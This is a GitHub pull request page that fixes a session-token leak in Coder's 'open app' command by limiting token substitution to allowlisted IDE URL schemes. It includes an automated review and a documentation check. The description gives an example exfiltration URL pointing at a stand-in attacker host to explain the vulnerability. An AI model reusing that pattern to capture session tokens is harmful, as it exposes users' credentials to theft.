Skip to content

fix: only substitute session token into trusted external app URLs#26146

Open
zedkipp wants to merge 2 commits into
mainfrom
zedkipp/plat-266-token-leak
Open

fix: only substitute session token into trusted external app URLs#26146
zedkipp wants to merge 2 commits into
mainfrom
zedkipp/plat-266-token-leak

Conversation

@zedkipp

@zedkipp zedkipp commented Jun 8, 2026

Copy link
Copy Markdown
Contributor

coder open app previously substituted the user's session token into any external workspace-app URL containing $SESSION_TOKEN before dispatching it to the OS open handler, regardless of the URL's host or scheme. A malicious workspace could register a sub-agent app pointing at https://attacker.example/?t=$SESSION_TOKEN and exfiltrate the session token by running coder open app.

Substitution is now gated to an allowlist of schemes (vscode, vscode-insiders, cursor, windsurf, jetbrains, jetbrains-gateway, kiro, positron, antigravity). URLs that don't qualify still open, but the literal $SESSION_TOKEN placeholder is left in so no real token is sent.

Generated with assistance from Coder Agents.

`coder open app` previously substituted the user's session token into any external workspace-app URL containing $SESSION_TOKEN before dispatching it to the OS open handler, regardless of the URL's host or scheme. A malicious workspace could register a sub-agent app pointing at `https://attacker.example/?t=$SESSION_TOKEN` and exfiltrate the session token the moment the user ran `coder open app`.

Substitute the session token only when the URL uses an allowlisted IDE deep-link scheme whose handler legitimately consumes the token (vscode, vscode-insiders, cursor, windsurf, jetbrains, jetbrains-gateway, kiro, positron, antigravity). URLs that don't qualify, including http and https URLs that point at the deployment itself, are still opened, but the literal $SESSION_TOKEN placeholder is left in the URL so no real token is sent. http(s) browser requests already carry the user's session cookie, so substituting the token adds no value there. This matches the web UI's behavior in site/src/modules/apps/apps.ts.
@linear-code

linear-code Bot commented Jun 8, 2026

Copy link
Copy Markdown

PLAT-266

@zedkipp

zedkipp commented Jun 8, 2026

Copy link
Copy Markdown
Contributor Author

/coder-agents-review

@coder-agents-review

coder-agents-review Bot commented Jun 8, 2026

Copy link
Copy Markdown
Contributor

Chat: Review in progress | View chat
Requested: 2026-06-08 20:41 UTC by @zedkipp

deep-review v0.7.1 | Round 1 | f17f839..7361437

Last posted: Round 1, 2 findings (1 P2, 1 P3), COMMENT. Review

Finding inventory

Findings

# Sev Status Location Summary Round Reviewer Posted
CRF-1 P2 Open external.go:27 Go and TS maintain independent session-token scheme allowlists with no sync mechanism R1 Netero Yes
CRF-2 P3 Open clitest.go:259 RequireNotContains passes silently when err is nil, unlike RequireContains R1 Netero Yes

Round log

Round 1

Netero-only. 1 P2, 1 P3. Reviewed against f17f839..7361437.

About deep-review

CRF = Coder Review Finding (P0-P4, Nit, Note)

Reviewer Focus
Bisky tests
Chopper ops/errors
Churn-guard change verification
Ging language modernization
Gon naming
Hisoka edge cases
Killua perf
Kite change integrity
Knov contracts
Knuckle SQL
Kurapika security
Law decomposition
Leorio docs
Luffy product
Mafu-san process
Mafuuu contracts
Melody dispatch/pairing
Meruem structural
Nami frontend
Netero mechanical checks
Pariston premise testing
Pen-botter product gaps
Razor verification
Robin duplication
Ryosuke Go arch
Takumi concurrency
Zoro shape

🤖 Managed by Coder Agents.

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

First-pass review (Netero). These are mechanical findings only; the full review panel has not yet reviewed this PR. The panel will review after these findings are addressed.

Security fix that gates $SESSION_TOKEN substitution in external workspace-app URLs to a scheme allowlist. The approach is clean and test coverage is solid (3.25:1 test-to-production ratio, 6 integration subtests covering allowed schemes, disallowed schemes, and the attack vector). Good use of a shared package for the allowlist logic.

Findings: 1 P2, 1 P3.

"They use different formats (Go: bare scheme "vscode", TS: protocol string "vscode:"), neither file references the other, and there is no test or lint that detects drift." (Netero)

🤖 This review was automatically generated with Coder Agents.

Comment thread coderd/workspaceapps/appurl/external.go
Comment thread cli/clitest/clitest.go
- Make ErrorWaiter.RequireNotContains require an error before checking
  the message, matching RequireContains semantics so unexpected success
  is no longer a silent pass.
- Add cross-reference comments between AllowedExternalAppProtocols and
  ALLOWED_EXTERNAL_APP_PROTOCOLS pointing readers to the parallel list.
@zedkipp zedkipp marked this pull request as ready for review June 8, 2026 21:53
@coder-tasks

coder-tasks Bot commented Jun 8, 2026

Copy link
Copy Markdown
Contributor

Documentation Check

Updates Needed

  • docs/user-guides/devcontainers/customizing-dev-containers.md - The "Session token" section (line 250) uses custom-ide:// as the example scheme for $SESSION_TOKEN substitution. This scheme is not in the allowlist (AllowedExternalAppProtocols), so the token will not be substituted in practice. The example should use an allowed scheme (e.g., vscode://) and note that only specific protocols support token substitution.

    ⚠️ Pre-existing inaccuracy for the frontend; this PR extends the same restriction to the CLI, making it worth fixing now.


Automated review via Coder Agents

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant